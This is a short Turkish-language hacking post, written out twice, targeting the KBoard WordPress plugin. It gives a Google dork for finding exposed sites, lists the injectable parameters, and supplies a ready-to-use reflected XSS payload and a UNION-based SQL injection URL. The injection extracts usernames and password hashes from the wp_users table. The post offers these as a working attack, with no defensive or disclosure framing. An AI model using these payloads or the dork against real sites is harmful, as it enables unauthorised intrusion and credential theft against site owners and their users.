Ens4R
Prof Spys-z
google dork
inurl:wp-content/plugins/kboard/board.php
açığın parametreleri: pageid, search, keyword
örnek:/wp-content/plugins/kboard/board.php?board_id=1&pageid=1&mod=list&search=&keyword=burdan sonra xss veya sql
xss
/wp-content/plugins/kboard/board.php?board_id=1&pageid=1&mod=list&search=&keyword=%22%27%3E%3CScRiPT%3Ealert%28/XSS/%29%3C/ScRiPT%3E
sql
/wp-content/plugins/kboard/board.php?board_id=2&mod=document&uid=999%20union%20select%20group_concat%28user_login,0x3a,user_pass%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20wp_users
umarım anlamısınızdır
inurl:wp-content/plugins/kboard/board.php
açığın parametreleri: pageid, search, keyword
örnek:/wp-content/plugins/kboard/board.php?board_id=1&pageid=1&mod=list&search=&keyword=burdan sonra xss veya sql
xss
/wp-content/plugins/kboard/board.php?board_id=1&pageid=1&mod=list&search=&keyword=%22%27%3E%3CScRiPT%3Ealert%28/XSS/%29%3C/ScRiPT%3E
sql
/wp-content/plugins/kboard/board.php?board_id=2&mod=document&uid=999%20union%20select%20group_concat%28user_login,0x3a,user_pass%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20wp_users
umarım anlamısınızdır